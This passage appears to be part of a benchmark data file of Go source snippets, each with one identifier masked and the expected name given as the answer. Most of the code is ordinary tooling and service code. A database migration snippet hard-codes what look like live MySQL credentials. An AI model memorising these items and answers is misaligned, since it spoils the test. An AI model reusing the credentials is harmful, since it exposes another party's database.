fmt.Sprintf("""", n.Literal) } func (n *LiteralCommandNode) Name() string { return n.Literal } func (n *LiteralCommandNode) UsageText() string { return n.Literal } // ArgumentCommandNode is an argument command node storing // the argument type, name and optional custom suggestions. // // Use Argument(name, type) to build it. type ArgumentCommandNode struct { Node name string argType ArgumentType customSuggestions SuggestionProvider // Optional cachedUsageText string } func (a *ArgumentCommandNode) String() string { return fmt.Sprintf("""", a.name, a.argType) } func (a *ArgumentCommandNode) Name() string { return a.name } func (a *ArgumentCommandNode) Type() ArgumentType { return a.argType } func (a *ArgumentCommandNode) CustomSuggestions() SuggestionProvider { return a.customSuggestions } const ( // UsageArgumentOpen is the open rune for ArgumentCommandNode.UsageText. UsageArgumentOpen rune = '[' // UsageArgumentClose is the close rune for ArgumentCommandNode.UsageText. UsageArgumentClose rune = ']' ) func (a *ArgumentCommandNode) UsageText() string { if a.cachedUsageText == """" { a.cachedUsageText = fmt.Sprintf(""%c%s%c"", UsageArgumentOpen, a.name, UsageArgumentClose) } return a.cachedUsageText } ",parents 898,"package main import ( ""github.com/jinzhu/gorm"" _ ""github.com/jinzhu/gorm/dialects/mysql"" _ ""github.com/jinzhu/gorm/dialects/postgres"" ""github.com/monopayments/iban.im/model"" ""log"" ) var DBOld *gorm.DB var DBNew *gorm.DB func init() { var err error DBOld, err = gorm.Open(""mysql"", ""iban_p8nPjkfKO0M:T1os3vVUiQlZeEw@/iban_pushecommerce_com?charset=utf8&parseTime=True&loc=Local"") if err != nil { log.Fatal(err) } DBNew, err = gorm.Open(""postgres"", ""host=localhost port=5432 user=postgres dbname=ibanim password=+- sslmode=disable"") if err != nil { log.Fatal(err) } DBNew.AutoMigrate(&model.User{}, &model.Group{}, &model.Iban{}) } func main() { migrateUser() migrateIban() migrateGroups() } func migrateUser() { var users []model.User DBOld.Limit(-1).Find(&users) for _, user := range users { DBNew.Create(&user) } } func migrateIban() { var ibans []model.Iban DBOld.Limit(-1).Find(&ibans) for _, iban := range ibans { DBNew.Create(&iban) } } func migrateGroups() { var [MASK] []model.Group DBOld.Limit(-1).Find(& [MASK] ) for _, group := range [MASK] { DBNew.Create(&group) } } ",groups 899,"package torparse import ( ""testing"" ""io/ioutil"" ""reflect"" ""encoding/hex"" ""crypto/sha256"" ""fmt"" ) func TestParseTorDocument(t *testing.T) { //testServiceDescriptor(t) testServerDescriptor(t) //testConsensus(t) } func testServiceDescriptor(t *testing.T) { [MASK] , err := ioutil.ReadFile(""../test/service-descriptor"") if err != nil { t.Error(""Unable to find open a file: %v"", err) } parsed, rest := ParseTorDocument( [MASK] ) if len(rest) > 0 { t.Error(""Some fields left unparsed: '%v'"", rest) } if len(parsed) != 1 { t.Error(""There is not exactly one descriptor"") } //fmt.Printf(""%v\n"", parsed) //return /* Binary fields [$ echo | base64 -d | sha256sum] */ permanentKeyHash, _ := hex.DecodeString( ""15eeb4a49803fa308877a1dd5cfc8a456d87e50c68803340f98839198bb3d371"", ) intropointsHash, _ := hex.DecodeString( ""d4a0f36a24f9e09d1b3ce1d7e49fdc77e696f693e860a95f8d7182745258d6db"", ) signatureHash, _ := hex.DecodeString( ""971786f8ee99940506b2cd4a7d39b90957f081f0b404351f0d4950be55c2efec"", ) /* Short fields */ expected := map[string]TorEntry{ ""rendezvous-service-descriptor"": TorEntry{[]byte(""6iedtc4w36h35ln3ntklmbiawjhgdjud"")}, ""version"": TorEntry{[]byte(""2"")}, ""permanent-key"": TorEntry{permanentKeyHash}, ""secret-id-part"": TorEntry{[]byte("""")}, ""publication-time"": TorEntry{[]byte(""2016-06-21 20:00:00"")}, ""protocol-versions"": TorEntry{[]byte(""2,3"")}, ""introduction-points"": TorEntry{intropointsHash}, ""signature"": TorEntry{signatureHash}, } for key, value := range expected { if !reflect.DeepEqual(value[0], parsed[0].Entries[key][0].Joined()) { hash := sha256.Sum256(parsed[0].Entries[key][0].Joined()) if !reflect.DeepEqual(hash[:], value[0]) { fmt.Printf(""%s - real\n%s - expected\n"", parsed[0].Entries[key][0].Joined(), value[0]) fmt.Printf(""%x - real\n%x - expected\n"", hash, value[0]) t.Errorf(""Field mismatch at '%v'"", key) } } } } func testServerDescriptor(t *testing.T) { /* Consensus parsing test */ desc, err := ioutil.ReadFile(""../test/server-descriptor"") if err != nil { t.Error(""Unable to find open a file: %v"", err) } parsed, rest := ParseTorDocument(desc) if len(rest) > 0 { t.Error(""Some fields left unparsed: '%v'"", rest) } if len(parsed) != 1 { t.Error(""There is not exactly one descriptor"") } //fmt.Printf(""%v\n"", parsed) //for index, value := range fmt.Printf(""%s\n"", parsed[0].Entries[""reject""].Joined()) descr := ParseServerDescriptors(desc) fmt.Printf(""%v\n"", descr) } func testConsensus(t *testing.T) { /* Consensus parsing test */ consensus, err := ioutil.ReadFile(""../test/consensus"") if err != nil { t.Error(""Unable to find open a file: %v"", err) } parsed, rest := ParseTorDocument(consensus) if len(rest) > 0 { t.Error(""Some fields left unparsed: '%v'"", rest) } for _, value := range parsed[0].Entries[""r""] { fmt.Printf(""%s:%s\n"", value[5], value[6]) } if len(parsed) != 1 { t.Error(""There is not exactly one descriptor"") } /* Binary fields [$ echo | base64 -d | sha256sum] */ /*permanentKeyHash, _ := hex.DecodeString( ""15eeb4a49803fa308877a1dd5cfc8a456d87e50c68803340f98839198bb3d371"", ) intropointsHash, _ := hex.DecodeString( ""d4a0f36a24f9e09d1b3ce1d7e49fdc77e696f693e860a95f8d7182745258d6db"", ) signatureHash, _ := hex.DecodeString( ""971786f8ee99940506b2cd4a7d39b90957f081f0b404351f0d4950be55c2efec"", ) /* Short fields */ /* expected := map[string][][]byte{ ""network-status-version"": [][]byte{[]byte(""4"")}, } for key, value := range expected { if !reflect.DeepEqual(value, expected[key]) { hash := sha256.Sum256(value[0]) if !reflect.DeepEqual(hash[:], expected[key]) { fmt.Printf(""%x - real\n%x - expected\n"", sha256.Sum256(value[0]), expected[key]) t.Errorf(""Field mismatch at '%v'"", key) } } } */ } ",servicedesc 900,"// SPDX-FileCopyrightText: 2025 SUSE LLC // // SPDX-License-Identifier: Apache-2.0 package backup import ( ""errors"" ""fmt"" ""github.com/rs/zerolog/log"" ""github.com/spf13/cobra"" ""github.com/uyuni-project/uyuni-tools/mgradm/cmd/backup/create"" ""github.com/uyuni-project/uyuni-tools/mgradm/cmd/backup/restore"" ""github.com/uyuni-project/uyuni-tools/mgradm/cmd/backup/shared"" . ""github.com/uyuni-project/uyuni-tools/shared/l10n"" ""github.com/uyuni-project/uyuni-tools/shared/types"" ""github.com/uyuni-project/uyuni-tools/shared/utils"" ) func newCreateCmd(globalFlags *types.GlobalFlags, run utils.CommandFunc[shared.Flagpole]) *cobra.Command { var flags shared.Flagpole createCmd := &cobra.Command{ Use: ""create output-directory"", Args: cobra.ExactArgs(1), Short: L(""Create backup""), Long: L(""Create backup of the already configured Uyuni system""), RunE: func(cmd *cobra.Command, args []string) error { return utils.CommandHelper(globalFlags, cmd, args, &flags, nil, run) }, } createCmd.Flags().StringSlice(""skipvolumes"", []string{}, L(""Skip backup of selected volumes"")) createCmd.Flags().StringSlice(""extravolumes"", []string{}, L(""Backup additional volumes to the build-in ones"")) createCmd.Flags().Bool(""skipdatabase"", false, L(""Do not backup database volume, allow online backup."")) createCmd.Flags().Bool(""skipimages"", false, L(""Do not backup container images"")) createCmd.Flags().Bool(""skipconfig"", false, L(""Do not backup podman configuration. On restore defaults will be used"")) createCmd.Flags().Bool(""norestart"", false, L(""Do not restart services after backup is done"")) createCmd.Flags().Bool(""dryrun"", false, L(""Print expected actions, but no action is done"")) return createCmd } func newRestoreCmd(globalFlags *types.GlobalFlags, run utils.CommandFunc[shared.Flagpole]) *cobra.Command { var flags shared.Flagpole restoreCmd := &cobra.Command{ Use: ""restore directory"", Args: cobra.ExactArgs(1), Short: L(""Restore backup from the directory""), Long: L(""Restore backup of the previously configured Uyuni system from a specified directory""), RunE: func(cmd *cobra.Command, args []string) error { return utils.CommandHelper(globalFlags, cmd, args, &flags, nil, run) }, } restoreCmd.Flags().StringSlice(""skipvolumes"", []string{}, L(""Skip restore of selected volumes"")) restoreCmd.Flags().Bool(""skipdatabase"", false, L(""Do not restore database volume"")) restoreCmd.Flags().Bool(""skipimages"", false, L(""Skip restore of container images"")) restoreCmd.Flags().Bool(""skipconfig"", false, L(""Do not restore podman configuration. Defaults will be used"")) restoreCmd.Flags().Bool(""restart"", false, L(""Restart service after restore is done"")) restoreCmd.Flags().Bool(""dryRun"", false, L(""Print expected actions, but no action is done"")) restoreCmd.Flags().Bool(""force"", false, L(""Force overwrite of existing items"")) restoreCmd.Flags().Bool(""continue"", false, L(""Skip existing items and restore the rest"")) restoreCmd.Flags().Bool(""skipverify"", false, L(""Skip verification of the backup files"")) return restoreCmd } // NewCommand command for distribution management. func NewCommand(globalFlags *types.GlobalFlags) *cobra.Command { backupCmd := &cobra.Command{ Use: ""backup"", GroupID: ""tool"", Short: L(""Backup solution""), Long: L(""Tools for local backup management""), } backupCmd.AddCommand(newCreateCmd(globalFlags, doBackup)) backupCmd.AddCommand(newRestoreCmd(globalFlags, doRestore)) return backupCmd } // Backup helper to catch errors with unified error message. func doBackup( global *types.GlobalFlags, flags *shared.Flagpole, cmd *cobra.Command, args []string, ) error { [MASK] := args[0] err := create.Create(global, flags, cmd, args) if err != nil { var backupError *shared.BackupError ok := errors.As(err, &backupError) if ok { // l10n-ignore log.Error().Msgf(""%s"", backupError.Err.Error()) if backupError.Abort && backupError.DataRemains { return fmt.Errorf(L(""Backup aborted, partially backed up files remains in '%s'""), [MASK] ) } if !backupError.Abort { // nolint:lll return errors.New(L(""Important data were backed up successfully, but errors were present. Restore will use default values where needed"")) } } return err } return nil } // Backup helper to catch errors with unified error message. func doRestore( global *types.GlobalFlags, flags *shared.Flagpole, cmd *cobra.Command, args []string, ) error { err := restore.Restore(global, flags, cmd, args) if err != nil { var backupError *shared.BackupError ok := errors.As(err, &backupError) if ok { log.Warn().Err(backupError).Msgf(L(""Encountered problems:"")) if backupError.Abort && backupError.DataRemains { return errors.New(L(""Restore aborted with partially restored files. Resolve the error and try again"")) } if !backupError.Abort { return errors.New(L(""Important data were restored successfully, but with warnings"")) } } return err } return nil } ",outputDirectory 901,"package api import ( ""fmt"" ""net/http"" ""time"" ""github.com/gin-gonic/gin"" ""github.com/go-kit/log/level"" ""github.com/go-playground/validator/v10"" ""github.com/lestrrat-go/jwx/v2/jwa"" ""github.com/lestrrat-go/jwx/v2/jwt"" ""github.com/mailio/go-mailio-did/did"" ""github.com/mailio/go-mailio-server/global"" ""github.com/mailio/go-mailio-server/services"" ""github.com/mailio/go-mailio-server/types"" ""github.com/mailio/go-mailio-server/util"" ) type DIDApi struct { ssiService *services.SelfSovereignService mtpService *services.MtpService validate *validator.Validate } func NewDIDApi(ssiService *services.SelfSovereignService, mtpService *services.MtpService) *DIDApi { return &DIDApi{ ssiService: ssiService, mtpService: mtpService, validate: validator.New(), } } // Server DID // @Summary Mailio Server DID Document (public keys) // @Description Returns a DID Document // @Tags Decentralized Identifiers // @Success 200 {object} did.Document // @Failure 429 {object} api.ApiError ""rate limit exceeded"" // @Failure 500 {object} api.ApiError ""error creating server did"" // @Accept json // @Produce json // @Router /.well-known/did.json [get] func (did *DIDApi) CreateServerDID(c *gin.Context) { didDoc, err := util.CreateMailioDIDDocument() if err != nil { ApiErrorf(c, http.StatusInternalServerError, ""error creating did: %s"", err) return } didDoc.Authentication = nil c.JSON(http.StatusOK, didDoc) } // Server DID Configuration // @Summary Mailio Server DID Configuration // @Description Returns a DID Configuration // @Tags Decentralized Identifiers // @Failure 429 {object} api.ApiError ""rate limit exceeded"" // @Failure 500 {object} api.ApiError ""error creating server did configuration"" // @Accept json // @Produce json // @Router /.well-known/did-configuration.json [get] func (da *DIDApi) CreateServerDIDConfiguration(c *gin.Context) { config := map[string]interface{}{ ""@context"": ""https://identity.foundation/.well-known/did-configuration/v1"", } vc := did.NewVerifiableCredential(global.MailioDID.String()) vc.Context = []string{""https://www.w3.org/2018/credentials/v1"", ""https://identity.foundation/.well-known/did-configuration/v1""} vc.Issuer = global.MailioDID.String() vc.IssuanceDate = time.UnixMilli(global.MailioKeysCreated) vc.Type = []string{""VerifiableCredential"", ""DomainLinkageCredential""} vc.CredentialSubject = did.CredentialSubject{ ID: global.MailioDID.String(), Origin: fmt.Sprintf(""https://%s"", global.Conf.Mailio.ServerDomain), } // JWT version of the above proof as an alternative format jwtToken, jwtErr := jwt.NewBuilder(). Issuer(global.MailioDID.String()). Subject(global.MailioDID.String()). NotBefore(time.Now().UTC()). Build() if jwtErr != nil { ApiErrorf(c, http.StatusInternalServerError, ""error creating jwt: %s"", jwtErr) return } jwtToken.Set(""vc"", vc) jwtSigned, jwtErr := jwt.Sign(jwtToken, jwt.WithKey(jwa.EdDSA, global.PrivateKey)) if jwtErr != nil { ApiErrorf(c, http.StatusInternalServerError, ""error signing jwt: %s"", jwtErr) return } // proof section pErr := vc.CreateProof(global.PrivateKey) if pErr != nil { ApiErrorf(c, http.StatusInternalServerError, ""error creating proof: %s"", pErr) return } config[""linked-dids""] = []interface{}{vc, string(jwtSigned)} c.JSON(http.StatusOK, config) } // Returns users DID document based on the mailio address // @Summary Resolve users DID document // @Description Returns users DID document based on mailio address // @Tags Decentralized Identifiers // @Accept json // @Produce json // @Param address path string true ""Mailio address"" // @Success 200 {object} did.Document // @Failure 429 {object} api.ApiError ""rate limit exceeded"" // @Failure 404 {object} api.ApiError ""DID not found"" // @Failure 400 {object} api.ApiError ""Invalid DID"" // @Router /{address}/did.json [get] func (did *DIDApi) GetDIDDocument(c *gin.Context) { address := c.Param(""address"") if address == """" { ApiErrorf(c, http.StatusNotFound, ""address not found"") return } resolved, err := did.ssiService.GetDIDDocument(address) if err != nil { if err == types.ErrNotFound { ApiErrorf(c, http.StatusNotFound, ""did not found"") return } ApiErrorf(c, http.StatusBadRequest, ""error resolving did"") return } c.JSON(http.StatusOK, resolved) } // @Summary Fetch all DID documents by email hash (local and remote) // @Description Fetch all DID documents by email hash (local and remote) // @Security Bearer // @Tags Messaging // @Accept json // @Produce json // @Param lookups body types.InputDIDLookup true ""InputDIDLookup"" // @Success 200 {object} types.OutputDIDLookup // @Failure 404 {object} api.ApiError ""DID not found"" // @Failure 429 {object} api.ApiError ""rate limit exceeded"" // @Failure 400 {object} api.ApiError ""invalid email address"" // @Failure 500 {object} api.ApiError ""error fetching did documents"" // @Router /api/v1/resolve/did [post] func (da *DIDApi) FetchDIDDocumentsByEmailHash(c *gin.Context) { address, exists := c.Get(""subjectAddress"") if !exists { ApiErrorf(c, http.StatusUnauthorized, ""not authorized to create personal handshake"") return } // Fetch all DID documents (local and remote) var input types.InputDIDLookup if err := c.ShouldBindJSON(&input); err != nil { ApiErrorf(c, http.StatusBadRequest, ""invalid format"") return } err := da.validate.Struct(input) if err != nil { msg := util.ValidationErrorToMessage(err) ApiErrorf(c, http.StatusBadRequest, msg) return } found, notFound, fErr := da.mtpService.FetchDIDDocuments(address.(string), input.Lookups) if fErr != nil { if fErr == types.ErrInvalidEmail { ApiErrorf(c, http.StatusBadRequest, ""invalid email format"") return } ApiErrorf(c, http.StatusInternalServerError, ""error fetching did documents"") return } c.JSON(http.StatusOK, types.OutputDIDLookup{ Found: found, NotFound: notFound, }) } // @Summary Fetch all DID documents by Web DID (local and remote) // @Description Fetch all DID documents by Web DID (local and remote) // @Security Bearer // @Tags Messaging // @Accept json // @Produce json // @Param webdid body types.InputWebDIDLookup true ""InputWebDIDLookup"" // @Success 200 {object} types.OutputDIDLookup // @Failure 404 {object} api.ApiError ""DID not found"" // @Failure 429 {object} api.ApiError ""rate limit exceeded"" // @Failure 400 {object} api.ApiError ""invalid DID resolution"" // @Failure 500 {object} api.ApiError ""server error"" // @Router /api/v1/resolve/webdid [post] func (da *DIDApi) FetchDIDByWebDID(c *gin.Context) { _, exists := c.Get(""subjectAddress"") if !exists { ApiErrorf(c, http.StatusUnauthorized, ""not authorized to create personal handshake"") return } var input types.InputWebDIDLookup if err := c.ShouldBindJSON(&input); err != nil { ApiErrorf(c, http.StatusBadRequest, ""invalid format"") return } err := da.validate.Struct(input) if err != nil { msg := util.ValidationErrorToMessage(err) ApiErrorf(c, http.StatusBadRequest, msg) return } found := make([]*types.DIDLookup, 0) notFound := make([]*types.DIDLookup, 0) for _, webDid := range input.DIDs { // get the senders DID and get the service endpoint where message was sent from fromDID, fdErr := did.ParseDID(webDid) if fdErr != nil { //the sender cannot be validated, no retryies are allowed. Message fails permanently level.Error(global.Logger).Log(""msg"", fdErr.Error(), ""context"", ""failed to parse sender DID"", ""webDid"", webDid) ApiErrorf(c, http.StatusBadRequest, ""invalid DID"") return } didDoc, err := da.ssiService.FetchDIDByWebDID(fromDID) if err != nil { if err == types.ErrNotFound { notFound = append(notFound, &types.DIDLookup{ SupportsMailio: false, DIDDocument: didDoc, MTPStatusCode: &types.MTPStatusCode{ Class: 1, Subject: 1, Detail: 1, Description: ""DID not found"", Timestamp: time.Now().UnixMilli(), Address: fromDID.Fragment(), }, }) continue } if err == types.ErrInvalidFormat { notFound = append(notFound, &types.DIDLookup{ SupportsMailio: false, DIDDocument: didDoc, MTPStatusCode: &types.MTPStatusCode{ Class: 1, Subject: 1, Detail: 7, Description: ""Invalid DID format"", Timestamp: time.Now().UnixMilli(), Address: fromDID.String(), }, }) continue } if err == types.ErrConflict { notFound = append(notFound, &types.DIDLookup{ SupportsMailio: true, DIDDocument: didDoc, MTPStatusCode: &types.MTPStatusCode{ Class: 4, Subject: 4, Detail: 5, Description: ""Rate limit exceeded on destination server"", Timestamp: time.Now().UnixMilli(), Address: fromDID.String(), }, }) continue } if err == types.ErrBadRequest { notFound = append(notFound, &types.DIDLookup{ SupportsMailio: true, DIDDocument: didDoc, MTPStatusCode: &types.MTPStatusCode{ Class: 4, Subject: 4, Detail: 0, Description: ""Invalid DID resolution"", Timestamp: time.Now().UnixMilli(), Address: fromDID.String(), }, }) continue } notFound = append(notFound, &types.DIDLookup{ SupportsMailio: false, DIDDocument: didDoc, MTPStatusCode: &types.MTPStatusCode{ Class: 4, Subject: 4, Detail: 0, Description: ""Server error"", Timestamp: time.Now().UnixMilli(), Address: fromDID.String(), }, }) } found = append(found, &types.DIDLookup{ SupportsMailio: true, DIDDocument: didDoc, MTPStatusCode: &types.MTPStatusCode{ Class: 2, Subject: 0, Detail: 0, Description: ""DID found"", Timestamp: time.Now().UnixMilli(), Address: fromDID.String(), }, }) } [MASK] := &types.OutputDIDLookup{ Found: found, NotFound: notFound, } c.JSON(http.StatusOK, [MASK] ) } ",outputDIDLookup 902,"package main import ( ""log"" ""runtime"" ""time"" ""github.com/docker/cli/cli/command"" ""github.com/docker/cli/cli/context/store"" ""github.com/docker/cli/cli/flags"" ""github.com/pkg/errors"" ) func main() { go func() { err := ensureDesktopContextExists() if err != nil { log.Printf(""WARNING: %v"", err) } log.Println(""finished init"") }() time.Sleep(time.Millisecond / 100) log.Fatal(""EXITING"") } func ensureDesktopContextExists() error { name := ""desktop-linux"" host := ""npipe:////./pipe/dockerDesktopLinuxEngine"" if runtime.GOOS != ""windows"" { host = ""unix://var/run/docker.sock"" } cli, err := initCLI() if err != nil { return err } s := cli.ContextStore() if _, err := s.GetMetadata(name); err != nil && !store.IsErrContextDoesNotExist(err) { return errors.Wrap(err, ""querying ""+name+"" docker context"") } m := store.Metadata{ Name: name, Metadata: map[string]interface{}{}, // required by docker-compose Endpoints: map[string]interface{}{ ""docker"": map[string]interface{}{ ""Host"": host, ""SkipTLSVerify"": false, }, }, } if err := s.CreateOrUpdate(m); err != nil { return errors.Wrap(err, ""creating ""+name+"" context"") } log.Printf(""create docker cli context %s"", name) return nil } func initCLI() (*command.DockerCli, error) { [MASK] , err := command.NewDockerCli() if err != nil { return nil, errors.Wrap(err, ""creating the Docker CLI"") } if err := [MASK] .Initialize(&flags.ClientOptions{}); err != nil { return nil, errors.Wrap(err, ""initializing the Docker CLI"") } return [MASK] , nil } ",dockerCli 903,"package main import ( ""context"" ""fmt"" ""os"" ""os/signal"" ""regexp"" ""strconv"" ""strings"" ""sync"" ""syscall"" ""github.com/bwmarrin/discordgo"" ""github.com/overjoyedkiw/disgolink/dgolink"" ""github.com/overjoyedkiw/disgolink/lavalink"" ""github.com/disgoorg/snowflake/v2"" ) var ( urlPattern = regexp.MustCompile(""^https?://[-a-zA-Z0-9+&@#/%?=~_|!:,.;]*[-a-zA-Z0-9+&@#/%=~_|]?"") token = os.Getenv(""DISCORD_TOKEN"") ) func main() { session, err := discordgo.New(""Bot "" + token) if err != nil { panic(err) } [MASK] := &Bot{ Link: dgolink.New(session), PlayerManagers: map[string]*PlayerManager{}, } session.AddHandler( [MASK] .messageCreateHandler) if err = session.Open(); err != nil { panic(err) } defer session.Close() [MASK] .registerNodes() sc := make(chan os.Signal, 1) signal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, os.Kill) <-sc } type Bot struct { Link *dgolink.Link PlayerManagers map[string]*PlayerManager } type PlayerManager struct { lavalink.PlayerEventAdapter Player lavalink.Player Queue []lavalink.AudioTrack QueueMu sync.Mutex RepeatingMode RepeatingMode } func (m *PlayerManager) AddQueue(tracks ...lavalink.AudioTrack) { m.QueueMu.Lock() defer m.QueueMu.Unlock() m.Queue = append(m.Queue, tracks...) } func (m *PlayerManager) PopQueue() lavalink.AudioTrack { m.QueueMu.Lock() defer m.QueueMu.Unlock() if len(m.Queue) == 0 { return nil } var track lavalink.AudioTrack track, m.Queue = m.Queue[0], m.Queue[1:] return track } func (m *PlayerManager) OnTrackEnd(player lavalink.Player, track lavalink.AudioTrack, endReason lavalink.AudioTrackEndReason) { if !endReason.MayStartNext() { return } switch m.RepeatingMode { case RepeatingModeOff: if nextTrack := m.PopQueue(); nextTrack != nil { if err := player.Play(nextTrack); err != nil { fmt.Println(""error playing next track:"", err) } } case RepeatingModeSong: if err := player.Play(track.Clone()); err != nil { fmt.Println(""error playing next track:"", err) } case RepeatingModeQueue: m.AddQueue(track) if nextTrack := m.PopQueue(); nextTrack != nil { if err := player.Play(nextTrack); err != nil { fmt.Println(""error playing next track:"", err) } } } } type RepeatingMode int const ( RepeatingModeOff = iota RepeatingModeSong RepeatingModeQueue ) func (b *Bot) messageCreateHandler(s *discordgo.Session, e *discordgo.MessageCreate) { if e.Author.Bot { return } args := strings.Split(e.Content, "" "") switch args[0] { case ""!play"": if len(args) < 3 { _, _ = s.ChannelMessageSend(e.ChannelID, ""Please provide a channel id and something to play"") return } query := strings.Join(args[2:], "" "") if !urlPattern.MatchString(query) { query = ""ytsearch:"" + query } _ = b.Link.BestRestClient().LoadItemHandler(context.TODO(), query, lavalink.NewResultHandler( func(track lavalink.AudioTrack) { b.play(s, e.GuildID, args[1], e.ChannelID, track) }, func(playlist lavalink.AudioPlaylist) { b.play(s, e.GuildID, args[1], e.ChannelID, playlist.Tracks()...) }, func(tracks []lavalink.AudioTrack) { b.play(s, e.GuildID, args[1], e.ChannelID, tracks[0]) }, func() { _, _ = s.ChannelMessageSend(e.ChannelID, ""no matches found for: ""+query) }, func(ex lavalink.FriendlyException) { _, _ = s.ChannelMessageSend(e.ChannelID, ""error while loading track: ""+ex.Message) }, )) } } func (b *Bot) play(s *discordgo.Session, guildID string, voiceChannelID string, channelID string, tracks ...lavalink.AudioTrack) { if err := s.ChannelVoiceJoinManual(guildID, voiceChannelID, false, false); err != nil { _, _ = s.ChannelMessageSend(channelID, ""error while joining voice channel: ""+err.Error()) return } manager, ok := b.PlayerManagers[guildID] if !ok { manager = &PlayerManager{ Player: b.Link.Player(snowflake.MustParse(guildID)), RepeatingMode: RepeatingModeOff, } b.PlayerManagers[guildID] = manager manager.Player.AddListener(manager) } manager.AddQueue(tracks...) track := manager.PopQueue() if err := manager.Player.Play(track); err != nil { _, _ = s.ChannelMessageSend(channelID, ""error while playing track: ""+err.Error()) return } _, _ = s.ChannelMessageSend(channelID, ""Playing: ""+track.Info().Title) } func (b *Bot) registerNodes() { secure, _ := strconv.ParseBool(os.Getenv(""LAVALINK_SECURE"")) b.Link.AddNode(context.TODO(), lavalink.NodeConfig{ Name: ""test"", Host: os.Getenv(""LAVALINK_HOST""), Port: os.Getenv(""LAVALINK_PORT""), Password: os.Getenv(""LAVALINK_PASSWORD""), Secure: secure, }) } ",bot 904,"package mmap import ( ""context"" ""sync"" ""syscall"" ) // Read is take a path to file, number of readers and size of chunk. func Read(ctx context.Context, path string, readers int, chunkSize int64) (chunksCh chan []byte, [MASK] func(), err error) { pageSize := int64(syscall.Getpagesize()) if chunkSize%pageSize != 0 { chunkSize = ((chunkSize / pageSize) + 1) * pageSize } fd, err := syscall.Open(path, syscall.O_RDONLY, 0) if err != nil { return nil, nil, err } var stat syscall.Stat_t if err = syscall.Fstat(fd, &stat); err != nil { func() { _ = syscall.Close(fd) }() return nil, nil, err } data, err := syscall.Mmap(fd, 0, int(stat.Size), syscall.PROT_READ, syscall.MAP_SHARED) if err != nil { func() { _ = syscall.Close(fd) }() return nil, nil, err } ctx, cancel := context.WithCancel(ctx) [MASK] = func() { cancel() _ = syscall.Close(fd) _ = syscall.Munmap(data) } chunksCh = make(chan []byte, readers) offsetsCh := make(chan int64, readers) wg := sync.WaitGroup{} for i := 0; i < readers; i++ { wg.Add(1) go func() { defer wg.Done() for offset := range offsetsCh { select { case <-ctx.Done(): return default: end := offset + chunkSize if end > stat.Size { end = stat.Size } chunksCh <- data[offset:end] } } }() } go func() { wg.Wait() close(chunksCh) }() go func() { for offset := int64(0); offset < stat.Size; offset += chunkSize { select { case <-ctx.Done(): break default: offsetsCh <- offset } } close(offsetsCh) }() return chunksCh, [MASK] , nil } ",closeFunc 905,"/* Copyright 2022. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package controllers import ( ""context"" ""fmt"" discoveryv1 ""github.com/eurek8s/controller/api/v1"" eurekahandler ""github.com/eurek8s/controller/internal/eureka/handler"" ""github.com/go-logr/logr"" v1 ""k8s.io/api/core/v1"" apierrors ""k8s.io/apimachinery/pkg/api/errors"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/client-go/tools/record"" ctrl ""sigs.k8s.io/controller-runtime"" ""sigs.k8s.io/controller-runtime/pkg/client"" ""time"" ) const ( eventType = v1.EventTypeWarning eventReasonNotFound = ""NotFound"" ) // EurekaApplicationReconciler reconciles a EurekaApplication object type EurekaApplicationReconciler struct { client.Client Log logr.Logger Scheme *runtime.Scheme EventRecorder record.EventRecorder EurekaHandler *eurekahandler.Handler } //+kubebuilder:rbac:groups=discovery.eurek8s.com,resources=eurekaapplications,verbs=get;list;watch;create;update;patch;delete //+kubebuilder:rbac:groups=discovery.eurek8s.com,resources=eurekaapplications/status,verbs=get;update;patch //+kubebuilder:rbac:groups=discovery.eurek8s.com,resources=eurekaapplications/finalizers,verbs=update func (r *EurekaApplicationReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { log := r.Log.WithValues(""eurekaapplication"", req.NamespacedName) log.Info(""Received reconcile event"") var [MASK] discoveryv1.EurekaApplication if err := r.Get(ctx, req.NamespacedName, & [MASK] ); err != nil { // we'll ignore not-found errors, since they can't be fixed by an immediate // requeue (we'll need to wait for a new notification), and we can get them // on deleted requests. return ctrl.Result{}, client.IgnoreNotFound(err) } if err := r.EurekaHandler.Handle(ctx, r.Client, & [MASK] , req.String()); err != nil { if apierrors.IsNotFound(err) { switch t := err.(type) { case apierrors.APIStatus: d := t.Status().Details message := fmt.Sprintf(""Referenced object not found %s/%s"", d.Kind, d.Name) r.EventRecorder.Event(& [MASK] , eventType, eventReasonNotFound, message) default: r.EventRecorder.Event(& [MASK] , eventType, eventReasonNotFound, ""Referenced object not found"") } log.Error(err, ""unable to fetch resource"") } //return ctrl.Result{RequeueAfter: 30 * time.Second}, client.IgnoreNotFound(err) r.Log.Info(""re-queueing to run after 30s..."") return ctrl.Result{RequeueAfter: 30 * time.Second}, nil } else { [MASK] .Status.LastReconcileTime = &metav1.Time{Time: time.Now()} log.Info(""updating EurekaApplication lastReconcileTime..."") if err := r.Status().Update(ctx, & [MASK] ); err != nil { log.Error(err, ""unable to update eureka application status"") return ctrl.Result{}, err } } return ctrl.Result{}, nil } // SetupWithManager sets up the controller with the Manager. func (r *EurekaApplicationReconciler) SetupWithManager(mgr ctrl.Manager) error { return ctrl.NewControllerManagedBy(mgr). For(&discoveryv1.EurekaApplication{}). Complete(r) } ",eurekaApp 906,"package main import ( ""context"" ""encoding/json"" ""fmt"" ""os"" ""strings"" ""github.com/charmbracelet/fang"" ""github.com/schollz/progressbar/v3"" ""github.com/ppreeper/odoorpc"" ""github.com/ppreeper/odoorpc/odoojrpc"" ""github.com/ppreeper/odoosearchdomain"" ""github.com/spf13/cobra"" ""github.com/spf13/viper"" ) type QueryDef struct { Model string Filter string Offset int Limit int Fields string UpdateKey string NoNo bool } // Conf config structure type Host struct { Hostname string `default:""localhost"" json:""hostname""` Database string `default:""odoo"" json:""database""` Username string `default:""odoo"" json:""username""` Password string `default:"""" json:""password""` Protocol string `default:""jsonrpc"" json:""protocol,omitempty""` Schema string `default:""https"" json:""schema,omitempty""` Port int `default:""443"" json:""port,omitempty""` } func NewHost() *Host { return &Host{ Hostname: ""localhost"", Database: ""odoo"", Username: ""odoo"", Password: """", Protocol: ""jsonrpc"", Schema: 